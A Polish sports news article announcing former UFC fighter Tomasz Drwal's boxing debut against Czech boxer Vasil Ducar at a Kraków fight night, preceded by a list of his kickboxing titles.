  • 2008: Mistrzostwa Europy WAKO – 2. miejsce w kat. +91 kg
  • 2008: mistrz Polski K-1 w kat. +91 kg
  • 2009: mistrz PZKB w kat. 95 kg
  • 2010: K-1 WGP 2010 Warszawa – 2. miejsce
  • 2010: mistrz Polski w formule low kick w kat. +91 kg
  • 2012: mistrz BMAF w kat. 95 kg
  • 2012: Tatneft Arena – 2. miejsce
  • 2014: mistrz Polski w formule low kick w kat. +91 kg
  • 2014: Mistrzostwa Polski w K-1 – 3. miejsce w kat. +91 kg
  • 2016: mistrz FEN w kat. -95 kg
  • 2017: mistrz Celtic Gladiator w kat. -95 kg
  • 2011: Bigger's Better 8 – 2. miejsce
  • 2013: Bigger's Better 22 – 1. miejsce

Spróbuje sił w boksie

Tomasz Drwal niczym Conor McGregor? Dlaczego nie! Polski fighter spróbuje swoich sił w boksie już 4 listopada. Rywalem Drwala będzie Vasil Ducar.

Kibice długo musieli czekać na powrót Tomasza Drwala. 35-latek zaprezentuje się w Krakowie, jednak tym razem nie w walce na zasadach MMA. Drwal postanowił posmakować boksu.

Nowe wyzwanie

Kto nie lubi podejmować wyzwań i sprawdzać się na różnych polach? Dla wielu stanowi to mobilizację, a zarazem podstawę do udowodnienia sobie własnych możliwości oraz wartości. Czasami po prostu chcemy czegoś spróbować. Motywacje mogą być różne. W ostatnim czasie w świecie sportów walki przyzwyczailiśmy się, że większość zawodników emigruje do MMA. A w odwrotnym kierunku? Przykład dał jednak Conor McGregor, który postanowił spróbować boksu i ściągnął z emerytury Floyda Mayweathera Jr. Nie da się ukryć, że w tym wypadku kluczowe znaczenie odgrywały pieniądze. 

W rywalizacji bokserskiej kibice będą mogli zobaczyć również Tomasza Drwala. Popularny „Gorilla” był pierwszym Polakiem zakontraktowanym przez UFC. W amerykańskiej organizacji stoczył sześć walk, z których trzy wygrał. 35-latek pokonał Ivana Seratiego, Mike'a Ciesnolevicza i Drewa McFedriesa. Na koniec przygody z UFC Drwal przegrał z Davidem Branchem. Zawodnik z Krakowa przyzwyczaił kibiców do efektywnego stylu, bo aż 12 z 21 zwycięstw odniósł przez nokaut. Ostatni raz walczył  w maju 2015 roku, kiedy to na gali KSW 31 przegrał z Michałem Materlą.

W końcu Tomasz Drwal wraca, ale zarazem będzie to jego debiut. Tym razem Polak będzie rywalizował w boksie. – Trochę się naczekałem na kolejną walkę, ale lepiej późno niż później. Zapraszam 4 listopada na Wieczór Walk R8 do Krakowa. Sam jestem ciekaw jak to będzie w boksie. Zapowiada się fajne wyzwanie. Twardy rywal, który z pewnością pójdzie na mocne wymiany. I dobrze. Będą ludzie mieli co oglądać – napisał na swoim Facebooku Tomasz Drwal.

Rywalem Polaka będzie Vasil Ducar. 27-Czech ma za sobą cztery walki bokserskie, wszystkie wygrał przed czasem.

Wieczór pełen walk

4 listopada w Małej Hali Tauron Arenie Kraków odbędzie się 15 walk, w tym pięć zawodowych i dziesięć półzawodowych. Dla wielu zawodników będzie to szczególne doświadczenie.

Wśród fighterów, którzy zaprezentują się w Krakowie są m.in. Sebastian Kotwica i Michał Bobrowski. 25-letni zawodnik Szkoły Walki Drwala wygrał sześć pojedynków z rzędu. Z kolei 22-letnik Bobrowski ma na swoim koncie sześć wygranych walk, w tym pięć przed czasem.

Fot. Tomasz Drwal Facebook

KM